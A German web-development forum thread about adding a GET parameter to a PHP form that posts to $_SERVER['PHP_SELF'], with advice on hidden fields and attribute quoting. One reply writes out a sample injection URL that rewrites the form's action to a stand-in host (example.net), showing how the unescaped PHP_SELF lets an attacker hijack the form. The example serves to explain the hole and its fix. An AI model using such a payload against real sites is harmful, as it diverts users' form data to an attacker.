John-Y: Get beim Formular - Genaue Bezeichnung nicht bekannt

Hallo,

ich würde gerne diesem Teil...

  
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">  

noch ein &content=xyz mit auf den Weg geben.

Das hier...

  
<?php echo $_SERVER['PHP_SELF']. '?content=xyz'; ?>  

hat z. B. nicht gefruchtet. Was muss ich denn machen, damit das klappt?

Vielen Dank!

  1. Tach!

    ich würde gerne diesem Teil...

    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">

    
    > noch ein &content=xyz mit auf den Weg geben.  
      
    Als erstes solltest du ihm ein htmlspecialchars() auf den Weg geben, sonst kann man durch URL-Manipulation Code in deine Seite einschleusen.  
      
    
    > Das hier...  
    > ~~~php
      
    
    > <?php echo $_SERVER['PHP_SELF']. '?content=xyz'; ?>  
    > 
    
    

    hat z. B. nicht gefruchtet. Was muss ich denn machen, damit das klappt?

    Bei GET setzt der Browser den Querystring ausschließlich aus den Formularwerten zusammen. Nur bei POST lässt er ihn unverändert. Nimm ein Hidden-Feld.

    dedlfix.

    1. Hi,

      ich würde gerne diesem Teil...

      <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">

      
      > > noch ein &content=xyz mit auf den Weg geben.  
      >   
      > Als erstes solltest du ihm ein htmlspecialchars() auf den Weg geben, sonst kann man durch URL-Manipulation Code in deine Seite einschleusen.  
        
      sollte man prinzipiell machen - ja, aber wie sollte der Angriff in diesem Fall funktionieren?  
        
      Grüße  
      - Steffen
      
      1. Tach!

        <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">
        Als erstes solltest du ihm ein htmlspecialchars() auf den Weg geben, sonst kann man durch URL-Manipulation Code in deine Seite einschleusen.
        sollte man prinzipiell machen - ja, aber wie sollte der Angriff in diesem Fall funktionieren?

        Benötigt wird dazu das Feature PathInfo, was meist im Webserver eingeschaltet ist. Dann ruft man die eigentliche URL auf und hängt noch /"irgendwas an. An dem " hört dann das action-Attribut des form-Elements auf und der Rest wird als Code interpretiert.

        dedlfix.

        1. Hi,

          <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">
          Als erstes solltest du ihm ein htmlspecialchars() auf den Weg geben, sonst kann man durch URL-Manipulation Code in deine Seite einschleusen.
          sollte man prinzipiell machen - ja, aber wie sollte der Angriff in diesem Fall funktionieren?

          Benötigt wird dazu das Feature PathInfo, was meist im Webserver eingeschaltet ist. Dann ruft man die eigentliche URL auf und hängt noch /"irgendwas an. An dem " hört dann das action-Attribut des form-Elements auf und der Rest wird als Code interpretiert.

          aber als clientseitiger Code und damit ziemlich wertlos.

          Habe ich etwas übersehen?

          Grüße

          • Steffen

          PS
          Trotzdem sollte man natürlich trotzdem immer auf korrekten Kontextwechsel achten.

          1. Tach!

            aber als clientseitiger Code und damit ziemlich wertlos.
            Habe ich etwas übersehen?

            Für einen Angreifer ist es nicht wertlos, einen Anwender auf etwas klicken zu lassen, das dann in seinem Namen etwas macht, was der Angreifer will.

            dedlfix.

            1. Hi,

              aber als clientseitiger Code und damit ziemlich wertlos.
              Habe ich etwas übersehen?

              Für einen Angreifer ist es nicht wertlos, einen Anwender auf etwas klicken zu lassen, das dann in seinem Namen etwas macht, was der Angreifer will.

              Stimmt.

              http://deine.seite/path/to/script.php/%22%20action=%22http://example.net/boese.html

              ergibt:

              <form action="path/to/script.php/" action="http://example.net/boese.html">

              Und schon würde das Formular "entführt" werden.

              Danke für den Hinweis.

              Grüße

              • Steffen
  2. Hi,

    ich würde gerne diesem Teil...

    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">

    
    >   
    > noch ein &content=xyz mit auf den Weg geben.  
      
    Du könntest einfach noch ein Hidden-Input einfügen.  
      
    ~~~html
      
    <input type=hidden name=content value=xyz />  
    
    

    Grüße

    • Steffen
    1. Hallo,

      Du könntest einfach noch ein Hidden-Input einfügen.

      <input type=hidden name=content value=xyz />

      dann aber auch bitte ordentlich. Die gezeigte Art, das input-Element zu schließen, impliziert XHTML, und dann ist es Pflicht, alle Attribute in Anführungszeichen zu setzen.

      Und selbst wenn es in HTML unter bestimmten Bedingungen (die hier erfüllt sind) erlaubt ist, die Anführungszeichen wegzulassen, sollte man sie der Ordnung halber trotzdem setzen.

      Ciao,
       Martin

      --
      Wenn ein Räuber eine deutsche Amtsstube überfällt, welchen Satz kann er sich dann sparen?
      "Keine Bewegung!"
      Selfcode: fo:) ch:{ rl:| br:< n4:( ie:| mo:| va:) de:] zu:) fl:{ ss:) ls:µ js:(
    2. Om nah hoo pez nyeetz, Steffen!

      Auch wenn es in deinem Beispiel (vielleicht) nicht notwendig ist, sollte man die Attributwerte grundsätzlich in Anführungszeichen setzen. Mehr davon.

      Matthias

      --
      Der Unterschied zwischen Java und JavaScript ist größer als der zwischen Apfel und Apfelsine.